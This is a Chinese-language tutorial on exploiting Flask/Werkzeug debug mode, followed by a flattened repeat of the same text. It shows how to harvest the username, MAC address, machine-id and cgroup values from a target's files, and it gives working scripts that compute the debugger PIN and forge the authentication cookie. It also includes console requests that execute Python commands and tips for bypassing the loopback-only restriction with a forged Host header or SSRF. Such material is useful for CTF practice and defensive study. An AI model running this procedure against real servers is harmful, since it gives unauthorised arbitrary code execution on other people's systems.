新版flask pin码计算
字数 1865 2025-08-22 12:22:48

Flask Debug PIN 码计算与利用教学文档

一、Flask Debug PIN 码概述

Flask 框架在开启 debug 模式时,会提供一个交互式调试器界面(/console),需要输入 PIN 码才能执行 Python 命令。PIN 码由 werkzeug 的 debug 模块生成,不同版本使用不同哈希算法:

  • werkzeug 1.0.x 低版本:使用 MD5
  • werkzeug 2.1.x 高版本:使用 SHA1
  • 通常 Python 3.8 及以上使用高版本

二、PIN 码构成要素

1. probably_public_bits(可能公开的部分)

  1. username:执行代码时的用户名,可通过读取 /etc/passwd 文件获取
  2. appnamegetattr(app, "__name__", app.__class__.__name__),默认是 "Flask"
  3. modnamegetattr(app, "module", t.cast(object, app).class.module),默认是 "flask.app"
  4. moddirgetattr(mod, "__file__", None),即 app.py 文件所在路径,可通过 debug 报错信息获得

2. private_bits(私有部分)

  1. uuidstr(uuid.getnode()),即 MAC 地址的十进制表示
    • 获取方式:
      • 读取 /sys/class/net/eth0/address/sys/class/net/ens0/address
      • 格式转换:去掉横杠后转十进制(如 00:16:3e:03:8f:3995529701177
  2. machine_idget_machine_id()
    • 获取方式:
      1. 优先读取 /etc/machine-id(Docker 环境不读此文件)
      2. 若无,则读取 /proc/sys/kernel/random/boot_id
      3. 读取 /proc/self/cgroup,取第一行最后一个 / 后的字符串
      4. 将上述值拼接起来

三、PIN 码计算脚本

1. werkzeug 1.0.x(低版本,MD5)

import hashlib
from itertools import chain

probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # moddir
]

private_bits = [
    '25214234362297',  # MAC地址十进制值
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'  # machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
    h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(
                num[x:x + group_size].rjust(group_size, '0')
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

2. werkzeug ≥2.0.x(高版本,SHA1)

import hashlib
from itertools import chain

probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir
]

private_bits = [
    '2485377568585',  # MAC地址十进制值
    '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'  # machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
    h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]
print("cookie_name:" + cookie_name)

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(
                num[x:x + group_size].rjust(group_size, '0')
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print("pin码:" + rv)

四、Cookie 计算与认证流程

1. 认证流程

  1. 提交 PIN 码请求示例:
    GET /console?__debugger__=yes&cmd=pinauth&pin=1&s=3YTBnR7SAoHOJWUIFhVI HTTP/1.1
    
  2. 认证成功后设置 Cookie:
    Set-Cookie: __wzd2d764a6d4e16687fcf23=1728990230|dee0430f742b; HttpOnly; Path=/
    
  3. 执行命令请求(需携带 Cookie 和 frm 参数):
    GET /console?&__debugger__=yes&cmd=print('mixian')&frm=0&s=ZfYmlGiajkioMsAqVOFQ HTTP/1.1
    

2. Cookie 值计算

Cookie 值格式:{int(time.time())}|{hash_pin(pin)}

计算脚本:

import hashlib
import time

# A week
PIN_TIME = 60 * 60 * 24 * 7

def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

print(f"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('352-819-671')}")

3. 认证检查

认证时会检查时间戳是否在有效期内:

return (time.time() - PIN_TIME) < int(ts)  # ts是Cookie中的时间戳部分

五、Werkzeug 版本限制

  • Werkzeug > 3.0.3 版本:仅允许回环地址(127.0.0.1 或 localhost)访问 /console
  • 解决方案
    1. 修改 Host 头为回环地址
    2. 使用 SSRF 等技巧从服务器内部访问

六、实战示例

1. 获取必要信息

  1. moddir:通过 debug 报错页面获取 Flask 应用路径
  2. MAC 地址
    • 读取 /sys/class/net/eth0/address
    • 转换为十进制
  3. machine_id
    • 读取 /etc/machine-id
    • 读取 /proc/sys/kernel/random/boot_id
    • 读取 /proc/self/cgroup(取第一行最后一个 / 后的内容)

2. 计算 PIN 码

使用上述脚本计算,示例输出:

cookie_name:__wzd215e2ddd208f26855a0e
pin码:510-466-626

3. 生成认证 Cookie

1729699932|271328319d5c

4. 执行命令

  1. 确保使用正确的 s 参数(从页面源码获取)
  2. 对于高版本,确保通过回环地址访问
  3. 携带生成的 Cookie 和正确的 frm 参数(通常为 0)

七、注意事项

  1. 信息准确性:确保所有参数准确无误,特别是 MAC 地址的十进制转换
  2. 版本差异:注意 werkzeug 版本差异,使用对应的哈希算法
  3. Docker 环境:Docker 中 /etc/machine-id 可能无效,需结合其他文件
  4. 时间因素:Cookie 中的时间戳需确保在有效期内(默认一周)
  5. 访问限制:高版本 werkzeug 的本地访问限制需要绕过

通过以上步骤,可以成功计算 Flask debug PIN 码并利用调试控制台执行任意 Python 代码。

Flask Debug PIN 码计算与利用教学文档 一、Flask Debug PIN 码概述 Flask 框架在开启 debug 模式时,会提供一个交互式调试器界面(/console),需要输入 PIN 码才能执行 Python 命令。PIN 码由 werkzeug 的 debug 模块生成,不同版本使用不同哈希算法: werkzeug 1.0.x 低版本:使用 MD5 werkzeug 2.1.x 高版本:使用 SHA1 通常 Python 3.8 及以上使用高版本 二、PIN 码构成要素 1. probably_ public_ bits(可能公开的部分) username :执行代码时的用户名,可通过读取 /etc/passwd 文件获取 appname : getattr(app, "__name__", app.__class__.__name__) ,默认是 "Flask" modname : getattr(app, "module", t.cast(object, app).class.module) ,默认是 "flask.app" moddir : getattr(mod, "__file__", None) ,即 app.py 文件所在路径,可通过 debug 报错信息获得 2. private_ bits(私有部分) uuid : str(uuid.getnode()) ,即 MAC 地址的十进制表示 获取方式: 读取 /sys/class/net/eth0/address 或 /sys/class/net/ens0/address 格式转换:去掉横杠后转十进制(如 00:16:3e:03:8f:39 → 95529701177 ) machine_ id : get_machine_id() 获取方式: 优先读取 /etc/machine-id (Docker 环境不读此文件) 若无,则读取 /proc/sys/kernel/random/boot_id 读取 /proc/self/cgroup ,取第一行最后一个 / 后的字符串 将上述值拼接起来 三、PIN 码计算脚本 1. werkzeug 1.0.x(低版本,MD5) 2. werkzeug ≥2.0.x(高版本,SHA1) 四、Cookie 计算与认证流程 1. 认证流程 提交 PIN 码请求示例: 认证成功后设置 Cookie: 执行命令请求(需携带 Cookie 和 frm 参数): 2. Cookie 值计算 Cookie 值格式: {int(time.time())}|{hash_pin(pin)} 计算脚本: 3. 认证检查 认证时会检查时间戳是否在有效期内: 五、Werkzeug 版本限制 Werkzeug > 3.0.3 版本 :仅允许回环地址(127.0.0.1 或 localhost)访问 /console 解决方案 : 修改 Host 头为回环地址 使用 SSRF 等技巧从服务器内部访问 六、实战示例 1. 获取必要信息 moddir :通过 debug 报错页面获取 Flask 应用路径 MAC 地址 : 读取 /sys/class/net/eth0/address 转换为十进制 machine_ id : 读取 /etc/machine-id 读取 /proc/sys/kernel/random/boot_id 读取 /proc/self/cgroup (取第一行最后一个 / 后的内容) 2. 计算 PIN 码 使用上述脚本计算,示例输出: 3. 生成认证 Cookie 4. 执行命令 确保使用正确的 s 参数(从页面源码获取) 对于高版本,确保通过回环地址访问 携带生成的 Cookie 和正确的 frm 参数(通常为 0) 七、注意事项 信息准确性 :确保所有参数准确无误,特别是 MAC 地址的十进制转换 版本差异 :注意 werkzeug 版本差异,使用对应的哈希算法 Docker 环境 :Docker 中 /etc/machine-id 可能无效,需结合其他文件 时间因素 :Cookie 中的时间戳需确保在有效期内(默认一周) 访问限制 :高版本 werkzeug 的本地访问限制需要绕过 通过以上步骤,可以成功计算 Flask debug PIN 码并利用调试控制台执行任意 Python 代码。